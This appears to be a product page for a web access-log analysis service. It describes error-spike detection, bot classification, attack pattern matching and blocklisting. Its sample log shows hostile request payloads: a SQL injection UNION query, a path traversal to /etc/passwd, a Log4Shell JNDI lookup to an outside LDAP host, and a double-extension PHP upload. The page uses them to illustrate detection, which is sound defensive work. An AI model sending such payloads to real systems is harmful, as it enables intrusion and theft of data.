Web Insights

Send us your nginx, Apache or HAProxy access logs and this page fills in on its own: error rate, 5xx spikes, how much of the traffic is bots and AI crawlers, and who's scanning you from which networks. There are no dashboards to build first.

Free 14-Day Trial
**No credit card required.

Errors, spikes and what's worth a look

The numbers. The page opens with four numbers: requests, error rate, server errors (5xx) and automated traffic.

The chart. Under them is a chart of served, 4xx and 5xx responses per hour or per day. Next to it is the split by response: served, refused, not found (404) and server error, each with its share.

Worth a look. Above the chart, this row picks out the hours that stand out. It's measured against the median, not the average, so one bad hour can't raise the baseline and hide itself:

  • Error spike. More than 3× the median errors per hour, and at least 50.
  • Traffic spike. More than 3× the median requests, and at least 100.
  • Server errors. 5xx above their usual median.

The floors are there so a quiet blog doesn't get flagged over a dozen requests.

Click any hour

Click a bar and that hour (or day) opens in place. You get the top categories, sites, source addresses and countries for that hour, and a button that runs the matching search.

A spike at 03:00 goes from "something happened" to "one address on one hosting network hammered shop.example.com" in two clicks.

Pick a problem, see who's behind it

Under Error hotspots, pick a problem: server errors, not found, refused, attacks or scanning. The card that opens names the addresses, the sites they hit and the countries they came from:

Who is behind web_404                                                     2,318
The top 5 addresses account for 91.2% of the sampled matches.          requests

Addresses (14)           Sites affected (3)             Countries (4)
203.0.113.9     1,604    shop.example.com      1,950    United States    1,702
203.0.113.14      301    www.example.com         342    Germany            388
198.51.100.40     118    blog.example.com         26    ...
...

[ See these logs ]   [ Back to all traffic ]

A 404 storm that's 91% one address is a scanner, not a broken link. Click the address to see everything it requested. Click a site to filter the page to that host.

The breakdown is for all your sites together. It isn't kept per host.

Who isn't human

Traffic gets sorted by user agent into these buckets:

  • search engines
  • AI crawlers
  • social networks fetching link previews
  • other automation: monitors, scripts, uptime checks
  • scanners and bad bots
  • WordPress cron

When traffic doubles overnight, this is where you find out it was a crawler and not customers. It also shows how much of your bandwidth is going to AI training crawlers.

User agents can be set to anything, so read these numbers as a strong hint, not proof. More on that in what HTTP user agents reveal.

Attacks in your logs

These lines come from one night's access log:

203.0.113.9 - - [14/Nov/2026:02:41:07 +0000] "GET /product.php?id=1%27%20UNION%20SELECT%201,2,3-- HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
203.0.113.9 - - [14/Nov/2026:02:41:09 +0000] "GET /../../../../etc/passwd HTTP/1.1" 400 157 "-" "curl/8.4.0"
198.51.100.40 - - [14/Nov/2026:02:44:30 +0000] "GET /?q=${jndi:ldap://198.51.100.40:1389/a} HTTP/1.1" 404 162 "-" "Mozilla/5.0"
203.0.113.77 - - [14/Nov/2026:02:50:12 +0000] "GET /uploads/avatar.php.jpg HTTP/1.1" 200 312 "-" "python-requests/2.31"

Each request is checked against attack patterns as it arrives:

  • path traversal and null bytes;
  • command injection, including Shellshock;
  • Log4Shell / JNDI lookups;
  • PHP-CGI argument injection;
  • SQL injection;
  • XSS.

Some checks look across requests instead of at one line:

  • Scanning. 8 or more 404s, or 8 or more 403s, from one address in 60 seconds. You can tune the threshold.
  • Error bursts. Repeated 500s from one address, or a burst of 500s across the site.
  • A double-extension file served with a 2xx. That's the avatar.php.jpg line above. It usually means an upload filter let something through, or someone left a backup in the web root.
  • WordPress login attempts.

The first line got a 200. That doesn't mean the injection worked. It means the page rendered something. An access log records the request, not what your application did with it, and the page says so: "We see the request, not the outcome." A 200 on an attack is where you open the application logs. It isn't proof of compromise.

More on this: using 404s to spot new attacks and what SQL injection looks like in logs.

Who, and where from

  • Devices, browsers and operating systems, from the user agent.
  • Countries.
  • Networks, by AS number and operator name. If one network sends 60% or more of your traffic, the page says so. It's usually a cloud provider running a crawler, not a sudden new audience.
  • Addresses. If your top ten addresses send half your traffic or more, the page warns that it looks like a scraper or a monitor.
  • Sites, if you send logs for more than one hostname. Click one to filter the page.

Each list shows the top 8, or the top 50 if you want the long tail.

Log files feeding us

The page lists your six busiest access log files by volume. A deploy that moves a log path, or a vhost that stops writing, drops off this list. It's quicker than noticing a gap in search three weeks later.

Operational Insights does the same for every source, not just web logs.

Store less, keep the lines that matter

Most web log volume is ordinary page views and static files. Three optional settings cut it down:

  • Clean page views. An ordinary successful request for a normal page is counted in Web Insights but not stored. The charts and totals stay accurate.
  • Static files. Successful requests for images, CSS, JS and similar aren't stored. Odd-looking variants still are.
  • Deduplication. Identical lines in the same minute are stored once.

In practice:

counted, not stored   192.0.2.10 - - [14/Nov/2026:09:12:03 +0000] "GET /blog/backup-strategy/ HTTP/1.1" 200 18233 "-" "Mozilla/5.0 ..."
stored                192.0.2.10 - - [14/Nov/2026:09:12:40 +0000] "POST /wp-login.php HTTP/1.1" 200 4120 "-" "Mozilla/5.0 ..."

The clean page view filter is deliberately narrow. It never applies to any of these:

  • Tor, VPN, proxy or known-bad addresses;
  • bad bots;
  • requests a WAF flagged;
  • admin and login paths.

If it can't tell whether a request is clean, it stores it.

Turning scans into blocks

Addresses caught scanning, or causing bursts of 500s, can go straight onto your Active Response blocklist next to the brute force sources. Your firewall pulls the list and drops them for as long as you set. How Active Response works.

Common questions

Which web servers are supported?

nginx, Apache and HAProxy access logs, sent with the Trunc agent or over syslog. The nginx remote logging guide shows the syslog route. IIS works if you set it to log in NCSA format, the Apache-style one. There's no separate IIS parser.

If your format is customised, tell us and we'll add a parser. For what's inside an nginx log, see the nginx log analysis guide.

Does it work for WordPress?

Yes, through your web server's access log. WordPress login attempts and wp-cron traffic are picked out separately. See WordPress logging.

What period does it cover?

Today, yesterday, or the last 3, 7, 30, 60 or 90 days, by hour or by day.

Does Trunc block attacks on my site?

Not by itself. We read your logs after the fact. We can publish the attacking addresses for your firewall to block (Active Response).

Will the clean page view filter break my analytics?

No. Filtered page views are still counted, so the Web Insights charts and totals include them. What you lose is the stored line for each ordinary page view. The filter is off unless you turn it on.

Simple, Affordable, Log Management and Analysis.

14 days free trial. No credit card required.